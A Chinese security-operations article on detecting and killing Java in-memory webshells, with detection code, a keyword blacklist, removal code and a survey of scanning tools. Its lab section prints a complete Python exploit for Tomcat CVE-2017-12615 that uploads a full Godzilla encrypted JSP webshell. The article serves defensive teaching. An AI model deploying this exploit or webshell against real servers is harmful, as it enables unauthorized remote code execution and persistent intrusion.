安全运营内刊|无文件幽灵-内存木马的检测与查杀
01
说明
本篇文章主要讲述对内存马的原理介绍和查杀实验。顾名思义,内存马主要是运行在内存中的一种木马植入方式,相比于文件型木马,无文件木马在执行后不会留下任何痕迹,难以被检测和清除。因其隐蔽的特性在近年HW越来越受攻击队关注,对内存马的检测和查杀是接下来安全运营工作的重点,本篇文章对内存马进行一个简单分析,并带大家了解内存马检测查杀的相关技巧。
02
原理篇
2.1 内核漏洞逃逸
其实内存马由来已久,早在17年n1nty的[《Tomcat源码调试笔记-看不见的shell》](https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw)中已初见端倪,但一直不温不火。后经过rebeyong使用[agent技术](https://www.cnblogs.com/rebeyond/p/9686213.html)加持后,拓展了内存马的使用场景,然终停留在奇技淫巧上。在各类hw洗礼之后,文件shell明显气数已尽。内存马以救命稻草的身份重回大众视野。特别是今年在shiro的回显研究之后,引发了无数安全研究员对内存webshell的研究,其中涌现出了LandGrey构造的[Spring controller内存马](https://landgrey.me/blog/12/)。至此内存马开枝散叶发展出了三大类型:
1. servlet-api类
- filter型
- servlet型
2. spring类
- 拦截器
- controller型
3. Java Instrumentation类
- agent型
2.2 内存马识别
首先:内存马的识别需要应急人员对JAVA语言和运行的机制有一定的了解。对内存马的识别大致有如下特征:
2.2.1 filter名字很特别
内存马的Filter名一般比较特别,有`shell`或者随机数等关键字。不过这个特征稍弱,因为这个特征取决于内存马的构造者的习惯,对方完全可以设置一个看起来很正常的名字。
2.2.2 filter优先级是第一位
为了确保内存马在各种环境下都可以访问,往往需要把filter匹配优先级调至最高,这在shiro反序列化中是刚需。但其他场景下就非必须,只能做一个可疑点。
2.2.3 对比web.xml中没有filter配置
内存马的Filter是动态注册的,所以在web.xml中肯定没有配置,这也是个可以的特征。但servlet 3.0引入了`@WebFilter`标签方便开发这动态注册Filter。这种情况也存在没有在web.xml中显式声明,这个特征可以作为较强的特征重点关注。
2.2.4 特殊classloader加载
众所周知,Filter也是class,也是必定有特定的classloader加载。一般来说,正常的Filter都是由中间件的WebappClassLoader加载的。反序列化漏洞喜欢利用TemplatesImpl和bcel执行任意代码。所以这些class往往就是以下这两个:
1.com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader
2.com.sun.org.apache.bcel.internal.util.ClassLoader
这个特征是一个特别可疑的点了。当然了,有的内存马还是比较狡猾的,它会注入class到当前线程中,然后实例化注入内存马。这个时候内存马就有可能不是上面两个classloader。
2.2.5对应的classloader路径下没有class文件
所谓内存马就是代码驻留内存中,本地无对应的class文件。所以只要检测Filter对应的ClassLoader目录下是否存在class文件。
private static boolean classFileIsExists(Class clazz){
if(clazz == null){
return false;
}
String className = clazz.getName();
String classNamePath = className.replace(".", "/") + ".class";
URL is = clazz.getClassLoader().getResource(classNamePath);
if(is == null){
return false;
}else{
return true;
}
}
2.2.6 Filter的doFilter方法中有恶意代码
内存中所有Filter的class都可以 dump出来,使用`fernflower`等反编译工具分析看看,是否存在恶意代码,比如调用了如下可疑的方法:
- java.lang.Runtime.getRuntime
- defineClass
- invoke
- …
不难分析,内存马的命门在于`5`和`6`。简单说就是Filter型内存马首先是一个Filter类,同时它在硬盘上没有对应的class文件。若dump出的class还有恶意代码,那是内存马无疑啦。大致检查的代码如下:
private static boolean isMemshell(Class targetClass,byte[] targetClassByte){
ClassLoader classLoader = null;
if(targetClass.getClassLoader() != null) {
classLoader = targetClass.getClassLoader();
}else{
classLoader = Thread.currentThread().getContextClassLoader();
}
Class clsFilter = null;
try {
clsFilter = classLoader.loadClass("javax.servlet.Filter");
}catch (Exception e){
}
// 是否是filter
if(clsFilter != null && clsFilter.isAssignableFrom(targetClass)){
// class loader 是不是Templates或bcel
if(classLoader.getClass().getName().contains("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader")
|| classLoader.getClass().getName().contains("com.sun.org.apache.bcel.internal.util.ClassLoader")){
return true;
}
// 是否存在ClassLoader的文件目录下存在对应的class文件
if(classFileIsExists(targetClass)){
return true;
}
// filter是否包含恶意代码。
String[] blacklist = new String[]{"getRuntime","defineClass","invoke"};
String clsJavaCode = FernflowerUtils.decomper(targetClass,targetClassByte);
for(String b:blacklist){
if(clsJavaCode.contains(b)){
return true;
}
}
}else{
return false;
}
return false;
2.3 内存马查杀
内存马识别完成,接下来就是如何查杀了。
2.3.1 方法一: 清除内存马中的Filter的恶意代码
public static byte[] killMemshell(Class clsMemshell,byte[] byteMemshell) throws Exception{
File file = new File(String.format("/tmp/%s.class",clsMemshell.getName()));
if(file.exists()){
file.delete();
}
FileOutputStream fos = new FileOutputStream(file.getAbsoluteFile());
fos.write(byteMemshell);
fos.flush();
fos.close();
ClassPool cp = ClassPool.getDefault();
cp.insertClassPath("/tmp/");
CtClass cc = cp.getCtClass(clsMemshell.getName());
CtMethod m = cc.getDeclaredMethod("doFilter");
m.addLocalVariable("elapsedTime", CtClass.longType);
// 正确覆盖代码:
// m.setBody("{$3.doFilter($1,$2);}");
// 方便演示代码:
m.setBody("{$2.getWriter().write(\"Your memory horse has been killed by c0ny1\");}");
byte[] byteCode = cc.toBytecode();
cc.detach();
return byteCode;
2.3.2 方法二: 模拟中间件注销Filter
//反序列化执行代码反射获取到StandardContext
Object standardContext = ...;
Field _filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");
_filterConfigs.setAccessible(true);
Object filterConfigs = _filterConfigs.get(standardContext);
Map<String, ApplicationFilterConfig> filterConfigMap = (Map<String, ApplicationFilterConfig>)filterConfigs;
for(Map.Entry<String, ApplicationFilterConfig> map : filterConfigMap.entrySet()){
String filterName = map.getKey();
ApplicationFilterConfig filterConfig = map.getValue();
Filter filterObject = filterConfig.getFilter();
// 如果是内存马的filter名
if(filterName.startsWith("memshell")){
SecurityUtil.remove(filterObject);
filterConfigMap.remove(filterName);
}
}
两种方法各有优劣,第一种方法比较通用,直接适配所有中间件。但恶意Filter依然在,只是恶意代码被清除了。第二种方法比较优雅,恶意Filter会被清除掉。但每种中间件注销Filter的逻辑不尽相同,需要一一适配。
部分引自:
https://gv7.me/articles/2020/kill-java-web-filter-memshell/
03
演示环境搭建
漏洞环境使用vulhub的tomcat[CVE-2017-12615],Vulhub是一个基于docker和docker-compose的的开源漏洞靶场,只需要进入对应目录并执行一条语句即可启动一个全新的漏洞环境,简单高效。安装vulhub的过程不再赘述,启动环境后如下图,下载好环境包并且搭建好之后就可以着手复现了。
可以在互联网搜索这个漏洞对应的利用脚本 [python3环境],该POC信息如下
# 脚本内容
# coding:utf-8
# author:cbd666
import requests
import sys
'''''
Usege:python3 CVE-2017-12615.py http://127.0.0.1/
Shell:http://120.79.66.58:8080/写入的文件?pwd=cbd&cmd=whoami
'''
def attack(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"}
# data的内容是使用哥斯拉的生成的webshell
data = """<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><% try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(pageContext.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters", new String(data));Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(pageContext);response.getWriter().write(md5.substring(0,16));response.getWriter().write(base64Encode(x(base64Decode(f.toString()), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}%>"""
code = ['cbd.jsp.', 'cbd.jsp/', 'cbd.jsp::$DATA']
try:
for i in range(2):
requests.put(url + code[i], headers=headers, data=data) # 发送put请求写入文件
resp = requests.get(url + code[i][:-1], headers=headers) # 发送get请求验证是否写入
if resp.status_code == 200:
print('写入文件成功,shell地址为 ' + url + code[0][:-1])
exit()
requests.put(url + code[2], headers=headers, data=data)
resp1 = requests.get(url + code[2], headers=headers)
if resp1.status_code == 200:
print('写入文件成功,shell地址为 ' + url + code[2])
print('Exploit结束')
except:
"someone is error!!!"
if __name__ == '__main__':
target_url = sys.argv[1]
attack(target_url)
通过burp抓包看到已经部署成功。
04
检测工具篇
4.1 tomcat-memshell-scanner
下载地址:https://github.com/c0ny1/java-memshell-scanner
使用docker ps查询id后进入容器内部.
在/usr/local/tomcat/webapps/ROOT/路径下,cbd.jsp文件是之前上传的哥斯拉webshell,同目录下的favicon.ico是普通文件,tomcat-memshell-scanner.jsp文件是查杀工具。
直接使用浏览器访问
http://localhost:8080/tomcat-memshell-scanner.jsp,点击右侧kill,至此查杀即完成。
4.2 arthas-boot
Arthas 是Alibaba开源的Java诊断工具,这里使用官网推荐的arthas-boot。因arthas可以直接观察方法调用的情况,所以可以直接获取执行流程中的准确对象。
下载arthas-boot.jar,然后用java -jar的方式启动:
之后可以执行如下表达式,使用jad '可疑内存名字'查看doFilter方法。
表达式1:
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
表达式2:
watch org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry getMappings "returnObj"
文章链接:https://zhuanlan.zhihu.com/p/227862004
4.3 copagent
工具链接:https://github.com/LandGrey/copagent
在本地运行Tomcat服务,使用命令:java -jar cop.jar,该工具首先会识别用户正在运行的应用并列举出来,由使用者自己选择ID,运行后会在.copagent目录生成结果,在输出结果中可以查看异常类。
./copagent目录下是检测结果
4.4 VisualVM
VisualVM使用简单且功能比较丰富,能够监控线程和内存情况,查看方法的CPU时间和在内存中的对象,以及已被GC的对象,反向查看分配的堆栈,可以利用VisualVM监控mbean来检测内存马。
检测原理是在注册类似Filter时会触发registerJMX的操作来注册mbean,org.apache.catalina.core.ApplicationFilterConfig#initFilter,但通常攻击者植入内存马之后可以执行Java代码来卸载掉这个mbean(因为并不会影响功能),所以该检测方法并不太适用于HW场景,各位师傅可以根据实际情况选择合适的检测工具。
05
总结
随着近年来攻防演练的强度越来越高,各大安全设备对文件型木马的检测技术也愈发成熟,而内存马凭借无文件攻击的特性可以有效地躲避传统安全软件的检测。因其本身的高隐蔽性,已经逐步成为新的研究趋势。对于安全运营工作来说,内存马种类多,检测机制复杂多样,具备内存马检测查杀技术并建设好最后防线是未来防护工作中的重难点之一,希望本文可以抛砖引玉,帮助大家掌握更多安全运营技巧和新思路。
声明:
1.本文档由天融信安全团队发布,未经授权禁止第三方转载及转投。
2.本文档所提到的技术内容及资讯仅供参考,有关内容可能会随时更新,天融信不另行通知。
3.本文档中提到的信息为正常公开的信息,若因本文档或其所提到的任何信息引起了他人直接或间接的资料流失、利益损失,天融信及其员工不承担任何责任。